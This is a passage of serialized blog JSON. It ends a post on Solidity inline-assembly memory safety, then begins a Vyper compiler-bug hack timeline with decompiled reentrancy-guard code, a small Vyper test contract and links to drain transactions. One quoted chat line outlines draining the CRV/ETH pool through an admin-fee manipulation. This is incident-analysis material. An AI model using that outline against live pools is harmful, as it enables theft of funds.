improperly",{"type":22,"tag":16773,"props":31282,"children":31283},{},[31284],{"type":22,"tag":69,"props":31285,"children":31289},{"href":31286,"ariaDescribedBy":31287,"dataFootnoteRef":7,"id":31288},"#user-content-fn-2",[16780],"user-content-fnref-2",[31290],{"type":27,"value":3568},{"type":22,"tag":1871,"props":31292,"children":31293},{},[31294],{"type":27,"value":31295},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":22,"tag":23,"props":31297,"children":31298},{},[31299],{"type":27,"value":31300},"Why does this matter?",{"type":22,"tag":23,"props":31302,"children":31303},{},[31304,31306,31313,31315,31322],{"type":27,"value":31305},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":22,"tag":69,"props":31307,"children":31310},{"href":31308,"rel":31309},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[73],[31311],{"type":27,"value":31312},"signed integer overflow is undefined",{"type":27,"value":31314},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":22,"tag":69,"props":31316,"children":31319},{"href":31317,"rel":31318},"https://blog.regehr.org/archives/1307",[73],[31320],{"type":27,"value":31321},"years down the line",{"type":27,"value":210},{"type":22,"tag":23,"props":31324,"children":31325},{},[31326,31328,31335,31336,31341],{"type":27,"value":31327},"Going back to Solidity, the specification makes ",{"type":22,"tag":69,"props":31329,"children":31332},{"href":31330,"rel":31331},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[73],[31333],{"type":27,"value":31334},"it unambiguously clear",{"type":27,"value":19835},{"type":22,"tag":1699,"props":31337,"children":31338},{},[31339],{"type":27,"value":31340},"Thou shalt not modify the zero slot",{"type":27,"value":210},{"type":22,"tag":4226,"props":31343,"children":31344},{},[31345],{"type":22,"tag":23,"props":31346,"children":31347},{},[31348],{"type":27,"value":31349},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":22,"tag":23,"props":31351,"children":31352},{},[31353,31355,31360],{"type":27,"value":31354},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":22,"tag":1699,"props":31356,"children":31357},{},[31358],{"type":27,"value":31359},"in Solidity",{"type":27,"value":210},{"type":22,"tag":23,"props":31362,"children":31363},{},[31364],{"type":27,"value":31365},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":22,"tag":1867,"props":31367,"children":31368},{},[31369],{"type":22,"tag":1871,"props":31370,"children":31371},{},[31372,31374,31381],{"type":27,"value":31373},"It very clearly ",{"type":22,"tag":69,"props":31375,"children":31378},{"href":31376,"rel":31377},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[73],[31379],{"type":27,"value":31380},"holds true today",{"type":27,"value":210},{"type":22,"tag":618,"props":31383,"children":31385},{"className":30424,"code":31384,"language":30426,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[31386],{"type":22,"tag":257,"props":31387,"children":31388},{"__ignoreMap":7},[31389,31429,31436,31449,31521,31542,31593,31600],{"type":22,"tag":264,"props":31390,"children":31391},{"class":1534,"line":1535},[31392,31396,31401,31406,31410,31415,31420,31425],{"type":22,"tag":264,"props":31393,"children":31394},{"style":4293},[31395],{"type":27,"value":30999},{"type":22,"tag":264,"props":31397,"children":31398},{"style":1539},[31399],{"type":27,"value":31400}," IRGeneratorForStatements::",{"type":22,"tag":264,"props":31402,"children":31403},{"style":4401},[31404],{"type":27,"value":31405},"visit",{"type":22,"tag":264,"props":31407,"children":31408},{"style":1539},[31409],{"type":27,"value":2660},{"type":22,"tag":264,"props":31411,"children":31412},{"style":4722},[31413],{"type":27,"value":31414},"InlineAssembly",{"type":22,"tag":264,"props":31416,"children":31417},{"style":4293},[31418],{"type":27,"value":31419}," const&",{"type":22,"tag":264,"props":31421,"children":31422},{"style":1549},[31423],{"type":27,"value":31424}," _inlineAsm",{"type":22,"tag":264,"props":31426,"children":31427},{"style":1539},[31428],{"type":27,"value":4463},{"type":22,"tag":264,"props":31430,"children":31431},{"class":1534,"line":1545},[31432],{"type":22,"tag":264,"props":31433,"children":31434},{"style":1539},[31435],{"type":27,"value":1542},{"type":22,"tag":264,"props":31437,"children":31438},{"class":1534,"line":1560},[31439,31444],{"type":22,"tag":264,"props":31440,"children":31441},{"style":4401},[31442],{"type":27,"value":31443},"    setLocation",{"type":22,"tag":264,"props":31445,"children":31446},{"style":1539},[31447],{"type":27,"value":31448},"(_inlineAsm);\n",{"type":22,"tag":264,"props":31450,"children":31451},{"class":1534,"line":1569},[31452,31456,31460,31464,31469,31473,31478,31483,31488,31492,31496,31500,31504,31508,31512,31517],{"type":22,"tag":264,"props":31453,"children":31454},{"style":4328},[31455],{"type":27,"value":13578},{"type":22,"tag":264,"props":31457,"children":31458},{"style":1539},[31459],{"type":27,"value":4370},{"type":22,"tag":264,"props":31461,"children":31462},{"style":4309},[31463],{"type":27,"value":5865},{"type":22,"tag":264,"props":31465,"children":31466},{"style":1549},[31467],{"type":27,"value":31468},"_inlineAsm",{"type":22,"tag":264,"props":31470,"children":31471},{"style":1539},[31472],{"type":27,"value":210},{"type":22,"tag":264,"props":31474,"children":31475},{"style":4401},[31476],{"type":27,"value":31477},"annotation",{"type":22,"tag":264,"props":31479,"children":31480},{"style":1539},[31481],{"type":27,"value":31482},"().",{"type":22,"tag":264,"props":31484,"children":31485},{"style":1549},[31486],{"type":27,"value":31487},"hasMemoryEffects",{"type":22,"tag":264,"props":31489,"children":31490},{"style":4309},[31491],{"type":27,"value":15484},{"type":22,"tag":264,"props":31493,"children":31494},{"style":4309},[31495],{"type":27,"value":14162},{"type":22,"tag":264,"props":31497,"children":31498},{"style":1549},[31499],{"type":27,"value":31468},{"type":22,"tag":264,"props":31501,"children":31502},{"style":1539},[31503],{"type":27,"value":210},{"type":22,"tag":264,"props":31505,"children":31506},{"style":4401},[31507],{"type":27,"value":31477},{"type":22,"tag":264,"props":31509,"children":31510},{"style":1539},[31511],{"type":27,"value":31482},{"type":22,"tag":264,"props":31513,"children":31514},{"style":1549},[31515],{"type":27,"value":31516},"markedMemorySafe",{"type":22,"tag":264,"props":31518,"children":31519},{"style":1539},[31520],{"type":27,"value":4463},{"type":22,"tag":264,"props":31522,"children":31523},{"class":1534,"line":1583},[31524,31529,31533,31538],{"type":22,"tag":264,"props":31525,"children":31526},{"style":1549},[31527],{"type":27,"value":31528},"        m_context",{"type":22,"tag":264,"props":31530,"children":31531},{"style":1539},[31532],{"type":27,"value":210},{"type":22,"tag":264,"props":31534,"children":31535},{"style":4401},[31536],{"type":27,"value":31537},"setMemoryUnsafeInlineAssemblySeen",{"type":22,"tag":264,"props":31539,"children":31540},{"style":1539},[31541],{"type":27,"value":4977},{"type":22,"tag":264,"props":31543,"children":31544},{"class":1534,"line":1603},[31545,31550,31554,31558,31563,31568,31572,31576,31580,31584,31589],{"type":22,"tag":264,"props":31546,"children":31547},{"style":1539},[31548],{"type":27,"value":31549},"    CopyTranslate bodyCopier{",{"type":22,"tag":264,"props":31551,"children":31552},{"style":1549},[31553],{"type":27,"value":31468},{"type":22,"tag":264,"props":31555,"children":31556},{"style":1539},[31557],{"type":27,"value":210},{"type":22,"tag":264,"props":31559,"children":31560},{"style":4401},[31561],{"type":27,"value":31562},"dialect",{"type":22,"tag":264,"props":31564,"children":31565},{"style":1539},[31566],{"type":27,"value":31567},"(), m_context, ",{"type":22,"tag":264,"props":31569,"children":31570},{"style":1549},[31571],{"type":27,"value":31468},{"type":22,"tag":264,"props":31573,"children":31574},{"style":1539},[31575],{"type":27,"value":210},{"type":22,"tag":264,"props":31577,"children":31578},{"style":4401},[31579],{"type":27,"value":31477},{"type":22,"tag":264,"props":31581,"children":31582},{"style":1539},[31583],{"type":27,"value":31482},{"type":22,"tag":264,"props":31585,"children":31586},{"style":1549},[31587],{"type":27,"value":31588},"externalReferences",{"type":22,"tag":264,"props":31590,"children":31591},{"style":1539},[31592],{"type":27,"value":17878},{"type":22,"tag":264,"props":31594,"children":31595},{"class":1534,"line":1612},[31596],{"type":22,"tag":264,"props":31597,"children":31598},{"emptyLinePlaceholder":17},[31599],{"type":27,"value":4986},{"type":22,"tag":264,"props":31601,"children":31602},{"class":1534,"line":1621},[31603,31608,31612,31617,31621,31625,31629,31634],{"type":22,"tag":264,"props":31604,"children":31605},{"style":1539},[31606],{"type":27,"value":31607},"    yul::Statement modified ",{"type":22,"tag":264,"props":31609,"children":31610},{"style":4309},[31611],{"type":27,"value":429},{"type":22,"tag":264,"props":31613,"children":31614},{"style":4401},[31615],{"type":27,"value":31616}," bodyCopier",{"type":22,"tag":264,"props":31618,"children":31619},{"style":1539},[31620],{"type":27,"value":2660},{"type":22,"tag":264,"props":31622,"children":31623},{"style":1549},[31624],{"type":27,"value":31468},{"type":22,"tag":264,"props":31626,"children":31627},{"style":1539},[31628],{"type":27,"value":210},{"type":22,"tag":264,"props":31630,"children":31631},{"style":4401},[31632],{"type":27,"value":31633},"operations",{"type":22,"tag":264,"props":31635,"children":31636},{"style":1539},[31637],{"type":27,"value":31638},"());`\n",{"type":22,"tag":1867,"props":31640,"children":31641},{"start":1545},[31642],{"type":22,"tag":1871,"props":31643,"children":31644},{},[31645],{"type":27,"value":31646},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":22,"tag":23,"props":31648,"children":31649},{},[31650],{"type":27,"value":31651},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":22,"tag":169,"props":31653,"children":31654},{"id":3966},[31655],{"type":27,"value":3969},{"type":22,"tag":23,"props":31657,"children":31658},{},[31659],{"type":27,"value":31660},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":22,"tag":23,"props":31662,"children":31663},{},[31664],{"type":27,"value":31665},"It's a promise between YUL generation and optimization.",{"type":22,"tag":19725,"props":31667,"children":31669},{"className":31668,"dataFootnotes":7},[19728],[31670,31675],{"type":22,"tag":169,"props":31671,"children":31673},{"className":31672,"id":16780},[19733],[31674],{"type":27,"value":19736},{"type":22,"tag":1867,"props":31676,"children":31677},{},[31678,31712],{"type":22,"tag":1871,"props":31679,"children":31681},{"id":31680},"user-content-fn-1",[31682,31684,31689,31691,31697,31699,31704,31706],{"type":27,"value":31683},"As an interesting aside, ",{"type":22,"tag":257,"props":31685,"children":31687},{"className":31686},[],[31688],{"type":27,"value":30684},{"type":27,"value":31690}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":22,"tag":257,"props":31692,"children":31694},{"className":31693},[],[31695],{"type":27,"value":31696},"memory-unsafe",{"type":27,"value":31698}," code can ",{"type":22,"tag":1699,"props":31700,"children":31701},{},[31702],{"type":27,"value":31703},"decrease",{"type":27,"value":31705}," gas consumption, especially in the YUL header. ",{"type":22,"tag":69,"props":31707,"children":31710},{"href":31708,"ariaLabel":19839,"className":31709,"dataFootnoteBackref":7},"#user-content-fnref-1",[19841],[31711],{"type":27,"value":19844},{"type":22,"tag":1871,"props":31713,"children":31715},{"id":31714},"user-content-fn-2",[31716,31718,31723,31725],{"type":27,"value":31717},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":22,"tag":1699,"props":31719,"children":31720},{},[31721],{"type":27,"value":31722},"guarantee",{"type":27,"value":31724}," behavior with opaque bytes. ",{"type":22,"tag":69,"props":31726,"children":31729},{"href":31727,"ariaLabel":19859,"className":31728,"dataFootnoteBackref":7},"#user-content-fnref-2",[19841],[31730],{"type":27,"value":19844},{"type":22,"tag":4139,"props":31732,"children":31733},{},[31734],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":31736},[31737,31738,31739,31740,31741,31742,31743],{"id":30329,"depth":1545,"text":30332},{"id":30383,"depth":1545,"text":30386},{"id":30646,"depth":1545,"text":30649},{"id":30378,"depth":1545,"text":30870},{"id":31217,"depth":1545,"text":31220},{"id":3966,"depth":1545,"text":3969},{"id":16780,"depth":1545,"text":19736},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":31748,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":31749,"description":31750,"author":7010,"image":31751,"date":31753,"isFeatured":17,"onBlogPage":17,"tags":31754,"body":31756,"_type":4157,"_id":32507,"_source":4159,"_file":32508,"_stem":32509,"_extension":4162},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":31752,"height":14922,"width":14922},"/posts/vyper-timeline/header.jpg","2023-08-01",[31755,30324],"vyper",{"type":19,"children":31757,"toc":32498},[31758,31763,31768,31773,31779,31784,31802,31812,31817,31825,31835,31854,31934,31944,32104,32109,32114,32124,32131,32136,32141,32155,32160,32177,32194,32213,32223,32236,32241,32254,32259,32264,32274,32301,32311,32341,32347,32356,32362,32367,32372,32377,32383,32388,32402,32407,32412,32417,32423,32428,32441,32467,32472,32494],{"type":22,"tag":23,"props":31759,"children":31760},{},[31761],{"type":27,"value":31762},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":22,"tag":23,"props":31764,"children":31765},{},[31766],{"type":27,"value":31767},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":22,"tag":23,"props":31769,"children":31770},{},[31771],{"type":27,"value":31772},"Here's how it all happened.",{"type":22,"tag":169,"props":31774,"children":31776},{"id":31775},"timeline",[31777],{"type":27,"value":31778},"Timeline",{"type":22,"tag":23,"props":31780,"children":31781},{},[31782],{"type":27,"value":31783},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":22,"tag":23,"props":31785,"children":31786},{},[31787,31792,31794,31801],{"type":22,"tag":242,"props":31788,"children":31789},{},[31790],{"type":27,"value":31791},"13:10 UTC",{"type":27,"value":31793}," pETH/ETH was ",{"type":22,"tag":69,"props":31795,"children":31798},{"href":31796,"rel":31797},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[73],[31799],{"type":27,"value":31800},"drained of $11M",{"type":27,"value":210},{"type":22,"tag":23,"props":31803,"children":31804},{},[31805,31810],{"type":22,"tag":242,"props":31806,"children":31807},{},[31808],{"type":27,"value":31809},"13:19 UTC",{"type":27,"value":31811}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":22,"tag":23,"props":31813,"children":31814},{},[31815],{"type":27,"value":31816},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":22,"tag":4226,"props":31818,"children":31819},{},[31820],{"type":22,"tag":23,"props":31821,"children":31822},{},[31823],{"type":27,"value":31824},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":22,"tag":23,"props":31826,"children":31827},{},[31828,31833],{"type":22,"tag":242,"props":31829,"children":31830},{},[31831],{"type":27,"value":31832},"14:01 UTC",{"type":27,"value":31834}," A warroom was formed around this comment.",{"type":22,"tag":23,"props":31836,"children":31837},{},[31838,31843,31845,31852],{"type":22,"tag":242,"props":31839,"children":31840},{},[31841],{"type":27,"value":31842},"14:07 UTC",{"type":27,"value":31844}," We decompiled the JPEGd contract ",{"type":22,"tag":69,"props":31846,"children":31849},{"href":31847,"rel":31848},"https://ethervm.io/decompile",[73],[31850],{"type":27,"value":31851},"with our favorite decompiler",{"type":27,"value":31853}," and noted a difference in reentrancy guard storage slot.",{"type":22,"tag":618,"props":31855,"children":31859},{"className":31856,"code":31857,"language":31858,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[31860],{"type":22,"tag":257,"props":31861,"children":31862},{"__ignoreMap":7},[31863,31871,31879,31887,31895,31902,31910,31918,31926],{"type":22,"tag":264,"props":31864,"children":31865},{"class":1534,"line":1535},[31866],{"type":22,"tag":264,"props":31867,"children":31868},{},[31869],{"type":27,"value":31870},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":22,"tag":264,"props":31872,"children":31873},{"class":1534,"line":1545},[31874],{"type":22,"tag":264,"props":31875,"children":31876},{},[31877],{"type":27,"value":31878},"label_0057:\n",{"type":22,"tag":264,"props":31880,"children":31881},{"class":1534,"line":1560},[31882],{"type":22,"tag":264,"props":31883,"children":31884},{},[31885],{"type":27,"value":31886},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":22,"tag":264,"props":31888,"children":31889},{"class":1534,"line":1569},[31890],{"type":22,"tag":264,"props":31891,"children":31892},{},[31893],{"type":27,"value":31894},"    storage[0x00] = 0x01;\n",{"type":22,"tag":264,"props":31896,"children":31897},{"class":1534,"line":1583},[31898],{"type":22,"tag":264,"props":31899,"children":31900},{"emptyLinePlaceholder":17},[31901],{"type":27,"value":4986},{"type":22,"tag":264,"props":31903,"children":31904},{"class":1534,"line":1603},[31905],{"type":22,"tag":264,"props":31906,"children":31907},{},[31908],{"type":27,"value":31909},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":22,"tag":264,"props":31911,"children":31912},{"class":1534,"line":1612},[31913],{"type":22,"tag":264,"props":31914,"children":31915},{},[31916],{"type":27,"value":31917},"label_1AF3:\n",{"type":22,"tag":264,"props":31919,"children":31920},{"class":1534,"line":1621},[31921],{"type":22,"tag":264,"props":31922,"children":31923},{},[31924],{"type":27,"value":31925},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":22,"tag":264,"props":31927,"children":31928},{"class":1534,"line":1629},[31929],{"type":22,"tag":264,"props":31930,"children":31931},{},[31932],{"type":27,"value":31933},"    storage[0x02] = 0x01;\n",{"type":22,"tag":23,"props":31935,"children":31936},{},[31937,31942],{"type":22,"tag":242,"props":31938,"children":31939},{},[31940],{"type":27,"value":31941},"14:27 UTC",{"type":27,"value":31943}," We confirmed this behavior with a simple local test contract.",{"type":22,"tag":618,"props":31945,"children":31947},{"className":20767,"code":31946,"language":20766,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[31948],{"type":22,"tag":257,"props":31949,"children":31950},{"__ignoreMap":7},[31951,31959,31980,32015,32027,32034,32041,32060,32092],{"type":22,"tag":264,"props":31952,"children":31953},{"class":1534,"line":1535},[31954],{"type":22,"tag":264,"props":31955,"children":31956},{"style":4401},[31957],{"type":27,"value":31958},"@external\n",{"type":22,"tag":264,"props":31960,"children":31961},{"class":1534,"line":1545},[31962,31967,31971,31976],{"type":22,"tag":264,"props":31963,"children":31964},{"style":4401},[31965],{"type":27,"value":31966},"@nonreentrant",{"type":22,"tag":264,"props":31968,"children":31969},{"style":1539},[31970],{"type":27,"value":2660},{"type":22,"tag":264,"props":31972,"children":31973},{"style":1597},[31974],{"type":27,"value":31975},"\"lock\"",{"type":22,"tag":264,"props":31977,"children":31978},{"style":1539},[31979],{"type":27,"value":4463},{"type":22,"tag":264,"props":31981,"children":31982},{"class":1534,"line":1560},[31983,31988,31993,31997,32002,32007,32011],{"type":22,"tag":264,"props":31984,"children":31985},{"style":4293},[31986],{"type":27,"value":31987},"def",{"type":22,"tag":264,"props":31989,"children":31990},{"style":4401},[31991],{"type":27,"value":31992}," test",{"type":22,"tag":264,"props":31994,"children":31995},{"style":1539},[31996],{"type":27,"value":2660},{"type":22,"tag":264,"props":31998,"children":31999},{"style":1549},[32000],{"type":27,"value":32001},"addr",{"type":22,"tag":264,"props":32003,"children":32004},{"style":1539},[32005],{"type":27,"value":32006},": address) -> ",{"type":22,"tag":264,"props":32008,"children":32009},{"style":4722},[32010],{"type":27,"value":30999},{"type":22,"tag":264,"props":32012,"children":32013},{"style":1539},[32014],{"type":27,"value":6858},{"type":22,"tag":264,"props":32016,"children":32017},{"class":1534,"line":1569},[32018,32022],{"type":22,"tag":264,"props":32019,"children":32020},{"style":4328},[32021],{"type":27,"value":18291},{"type":22,"tag":264,"props":32023,"children":32024},{"style":4293},[32025],{"type":27,"value":32026}," True\n",{"type":22,"tag":264,"props":32028,"children":32029},{"class":1534,"line":1583},[32030],{"type":22,"tag":264,"props":32031,"children":32032},{"emptyLinePlaceholder":17},[32033],{"type":27,"value":4986},{"type":22,"tag":264,"props":32035,"children":32036},{"class":1534,"line":1603},[32037],{"type":22,"tag":264,"props":32038,"children":32039},{"style":4401},[32040],{"type":27,"value":31958},{"type":22,"tag":264,"props":32042,"children":32043},{"class":1534,"line":1612},[32044,32048,32052,32056],{"type":22,"tag":264,"props":32045,"children":32046},{"style":4401},[32047],{"type":27,"value":31966},{"type":22,"tag":264,"props":32049,"children":32050},{"style":1539},[32051],{"type":27,"value":2660},{"type":22,"tag":264,"props":32053,"children":32054},{"style":1597},[32055],{"type":27,"value":31975},{"type":22,"tag":264,"props":32057,"children":32058},{"style":1539},[32059],{"type":27,"value":4463},{"type":22,"tag":264,"props":32061,"children":32062},{"class":1534,"line":1621},[32063,32067,32072,32076,32080,32084,32088],{"type":22,"tag":264,"props":32064,"children":32065},{"style":4293},[32066],{"type":27,"value":31987},{"type":22,"tag":264,"props":32068,"children":32069},{"style":4401},[32070],{"type":27,"value":32071}," test2",{"type":22,"tag":264,"props":32073,"children":32074},{"style":1539},[32075],{"type":27,"value":2660},{"type":22,"tag":264,"props":32077,"children":32078},{"style":1549},[32079],{"type":27,"value":32001},{"type":22,"tag":264,"props":32081,"children":32082},{"style":1539},[32083],{"type":27,"value":32006},{"type":22,"tag":264,"props":32085,"children":32086},{"style":4722},[32087],{"type":27,"value":30999},{"type":22,"tag":264,"props":32089,"children":32090},{"style":1539},[32091],{"type":27,"value":6858},{"type":22,"tag":264,"props":32093,"children":32094},{"class":1534,"line":1629},[32095,32099],{"type":22,"tag":264,"props":32096,"children":32097},{"style":4328},[32098],{"type":27,"value":18291},{"type":22,"tag":264,"props":32100,"children":32101},{"style":4293},[32102],{"type":27,"value":32103}," False\n",{"type":22,"tag":23,"props":32105,"children":32106},{},[32107],{"type":27,"value":32108},"This was not just another reentrancy bug.",{"type":22,"tag":23,"props":32110,"children":32111},{},[32112],{"type":27,"value":32113},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":22,"tag":23,"props":32115,"children":32116},{},[32117,32122],{"type":22,"tag":242,"props":32118,"children":32119},{},[32120],{"type":27,"value":32121},"14:37 UTC",{"type":27,"value":32123}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":22,"tag":23,"props":32125,"children":32126},{},[32127],{"type":22,"tag":215,"props":32128,"children":32130},{"alt":7,"src":32129},"/posts/vyper-timeline/sstore.png",[],{"type":22,"tag":23,"props":32132,"children":32133},{},[32134],{"type":27,"value":32135},"It was a race with the hackers.",{"type":22,"tag":23,"props":32137,"children":32138},{},[32139],{"type":27,"value":32140},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":22,"tag":4226,"props":32142,"children":32143},{},[32144],{"type":22,"tag":23,"props":32145,"children":32146},{},[32147,32149],{"type":27,"value":32148},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":22,"tag":69,"props":32150,"children":32153},{"href":32151,"rel":32152},"https://twitter.com/hexagate_/status/1685677801813217280",[73],[32154],{"type":27,"value":32151},{"type":22,"tag":23,"props":32156,"children":32157},{},[32158],{"type":27,"value":32159},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":22,"tag":23,"props":32161,"children":32162},{},[32163,32168,32169,32176],{"type":22,"tag":242,"props":32164,"children":32165},{},[32166],{"type":27,"value":32167},"14:50 UTC",{"type":27,"value":7750},{"type":22,"tag":69,"props":32170,"children":32173},{"href":32171,"rel":32172},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[73],[32174],{"type":27,"value":32175},"msETH/ETH was drained",{"type":27,"value":210},{"type":22,"tag":23,"props":32178,"children":32179},{},[32180,32185,32186,32193],{"type":22,"tag":242,"props":32181,"children":32182},{},[32183],{"type":27,"value":32184},"15:34 UTC",{"type":27,"value":7750},{"type":22,"tag":69,"props":32187,"children":32190},{"href":32188,"rel":32189},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[73],[32191],{"type":27,"value":32192},"alETH/ETH was drained",{"type":27,"value":210},{"type":22,"tag":23,"props":32195,"children":32196},{},[32197,32202,32204,32211],{"type":22,"tag":242,"props":32198,"children":32199},{},[32200],{"type":27,"value":32201},"15:43 UTC",{"type":27,"value":32203}," We identified that ",{"type":22,"tag":69,"props":32205,"children":32208},{"href":32206,"rel":32207},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[73],[32209],{"type":27,"value":32210},"CRV/ETH was vulnerable",{"type":27,"value":32212},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":22,"tag":23,"props":32214,"children":32215},{},[32216,32221],{"type":22,"tag":242,"props":32217,"children":32218},{},[32219],{"type":27,"value":32220},"16:11 UTC",{"type":27,"value":32222}," We began working on a whitehat exploit.",{"type":22,"tag":23,"props":32224,"children":32225},{},[32226,32228,32235],{"type":27,"value":32227},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":22,"tag":69,"props":32229,"children":32232},{"href":32230,"rel":32231},"https://twitter.com/vyperlang/status/1685692973051498497",[73],[32233],{"type":27,"value":32234},"public statement on affected versions",{"type":27,"value":210},{"type":22,"tag":23,"props":32237,"children":32238},{},[32239],{"type":27,"value":32240},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":22,"tag":23,"props":32242,"children":32243},{},[32244,32246,32253],{"type":27,"value":32245},"Five minutes later at 19:11 UTC, ",{"type":22,"tag":69,"props":32247,"children":32250},{"href":32248,"rel":32249},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[73],[32251],{"type":27,"value":32252},"somebody else stole the funds",{"type":27,"value":210},{"type":22,"tag":23,"props":32255,"children":32256},{},[32257],{"type":27,"value":32258},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":22,"tag":23,"props":32260,"children":32261},{},[32262],{"type":27,"value":32263},"Nevertheless, there was more ground to cover.",{"type":22,"tag":23,"props":32265,"children":32266},{},[32267,32272],{"type":22,"tag":242,"props":32268,"children":32269},{},[32270],{"type":27,"value":32271},"21:26 UTC",{"type":27,"value":32273}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":22,"tag":4226,"props":32275,"children":32276},{},[32277],{"type":22,"tag":23,"props":32278,"children":32279},{},[32280,32282,32286,32288,32291,32293,32296,32298],{"type":27,"value":32281},"if you send like 30k crv to the crv/eth pool ",{"type":22,"tag":32283,"props":32284,"children":32285},"br",{},[],{"type":27,"value":32287},"\nyou can then update admin fee ",{"type":22,"tag":32283,"props":32289,"children":32290},{},[],{"type":27,"value":32292},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":22,"tag":32283,"props":32294,"children":32295},{},[],{"type":27,"value":32297},"\nso you can basically drain whole pool for few hundred K crv ",{"type":22,"tag":32283,"props":32299,"children":32300},{},[],{"type":22,"tag":23,"props":32302,"children":32303},{},[32304,32309],{"type":22,"tag":242,"props":32305,"children":32306},{},[32307],{"type":27,"value":32308},"21:52 UTC",{"type":27,"value":32310}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":22,"tag":23,"props":32312,"children":32313},{},[32314,32316,32323,32325,32332,32340],{"type":27,"value":32315},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":22,"tag":69,"props":32317,"children":32320},{"href":32318,"rel":32319},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[73],[32321],{"type":27,"value":32322},"CRV admin fee bot",{"type":27,"value":32324}," had claimed fees and ",{"type":22,"tag":69,"props":32326,"children":32329},{"href":32327,"rel":32328},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[73],[32330],{"type":27,"value":32331},"the pool was 